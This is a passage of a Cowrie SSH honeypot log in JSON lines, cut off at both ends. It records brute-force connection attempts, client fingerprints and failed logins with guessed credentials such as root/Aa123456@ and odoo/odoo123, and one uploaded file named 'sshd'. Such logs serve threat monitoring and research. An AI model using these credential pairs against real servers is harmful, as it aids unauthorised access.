ssage":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:13.907399Z","src_ip":"91.92.40.36","session":"fc09c600a2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:14.146427Z","src_ip":"45.153.34.195","session":"020306cb7f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37786,"dst_ip":"10.17.0.5","dst_port":22,"session":"89b742ca08b2","protocol":"ssh","message":"New connection: 45.153.34.195:37786 (10.17.0.5:22) [session: 89b742ca08b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:15.226371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:15.239475Z","src_ip":"45.153.34.195","session":"89b742ca08b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:15.332369Z","src_ip":"45.153.34.195","session":"89b742ca08b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:15.955093Z","src_ip":"45.153.34.195","session":"89b742ca08b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:17.107019Z","src_ip":"45.153.34.195","session":"89b742ca08b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15234,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a1de84d051","protocol":"ssh","message":"New connection: 91.92.40.36:15234 (10.17.0.5:22) [session: 73a1de84d051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.023783Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"745d401bf779","protocol":"ssh","message":"New connection: 45.153.34.195:37792 (10.17.0.5:22) [session: 745d401bf779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.230668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.235632Z","src_ip":"45.153.34.195","session":"745d401bf779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.335827Z","src_ip":"45.153.34.195","session":"745d401bf779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":48038,"dst_ip":"159.203.135.109","dst_port":22,"session":"992dd182b083","protocol":"ssh","message":"New connection: 97.74.87.152:48038 (159.203.135.109:22) [session: 992dd182b083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.671222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.675670Z","src_ip":"97.74.87.152","session":"992dd182b083","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.700609Z","src_ip":"91.92.40.36","session":"73a1de84d051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.733146Z","src_ip":"91.92.40.36","session":"73a1de84d051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"password","message":"login attempt [adam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.817293Z","src_ip":"45.153.34.195","session":"745d401bf779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:18.920475Z","src_ip":"97.74.87.152","session":"992dd182b083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share123","message":"login attempt [share/share123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:19.852475Z","src_ip":"97.74.87.152","session":"992dd182b083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:19.901598Z","src_ip":"45.153.34.195","session":"745d401bf779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.082538Z","src_ip":"97.74.87.152","session":"992dd182b083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37802,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe94099ac73","protocol":"ssh","message":"New connection: 45.153.34.195:37802 (10.17.0.5:22) [session: 4fe94099ac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.137329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.147642Z","src_ip":"45.153.34.195","session":"4fe94099ac73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.236608Z","src_ip":"91.92.40.36","session":"fc09c600a2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.248629Z","src_ip":"45.153.34.195","session":"4fe94099ac73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.413499Z","src_ip":"91.92.40.36","session":"73a1de84d051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:21.777268Z","src_ip":"45.153.34.195","session":"4fe94099ac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:22.860622Z","src_ip":"45.153.34.195","session":"4fe94099ac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:23.523566Z","src_ip":"91.92.40.36","session":"73a1de84d051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14808,"dst_ip":"10.17.0.5","dst_port":22,"session":"4785e2eb4dba","protocol":"ssh","message":"New connection: 45.153.34.195:14808 (10.17.0.5:22) [session: 4785e2eb4dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.186752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.194390Z","src_ip":"45.153.34.195","session":"4785e2eb4dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.240106Z","src_ip":"91.92.40.36","session":"fc09c600a2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.276043Z","src_ip":"45.153.34.195","session":"4785e2eb4dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alec","password":"alec","message":"login attempt [alec/alec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.575049Z","src_ip":"45.153.34.195","session":"4785e2eb4dba","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/0670da04a700a5e7ec0ca80de285d75985116b669dc02c61cebfc22b5b3edab3","shasum":"0670da04a700a5e7ec0ca80de285d75985116b669dc02c61cebfc22b5b3edab3","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/0670da04a700a5e7ec0ca80de285d75985116b669dc02c61cebfc22b5b3edab3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.748087Z","src_ip":"117.219.14.193","session":"d3a22696e167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.0","message":"Connection lost after 301.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:24.751217Z","src_ip":"117.219.14.193","session":"d3a22696e167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:25.686615Z","src_ip":"45.153.34.195","session":"4785e2eb4dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.138.166","src_port":50654,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbbe7b12e084","protocol":"ssh","message":"New connection: 117.50.138.166:50654 (159.203.135.109:22) [session: cbbe7b12e084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:26.543889Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:26.984472Z","src_ip":"117.50.138.166","session":"cbbe7b12e084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f75a56275d1a","protocol":"ssh","message":"New connection: 45.153.34.195:14810 (10.17.0.5:22) [session: f75a56275d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:27.038744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:27.043939Z","src_ip":"45.153.34.195","session":"f75a56275d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:27.130077Z","src_ip":"45.153.34.195","session":"f75a56275d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"password","message":"login attempt [www/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:27.387189Z","src_ip":"45.153.34.195","session":"f75a56275d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45186,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf6631185f7","protocol":"ssh","message":"New connection: 91.92.40.36:45186 (10.17.0.5:22) [session: dcf6631185f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:28.289985Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:28.470236Z","src_ip":"45.153.34.195","session":"f75a56275d1a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:28.776836Z","src_ip":"91.92.40.36","session":"dcf6631185f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"m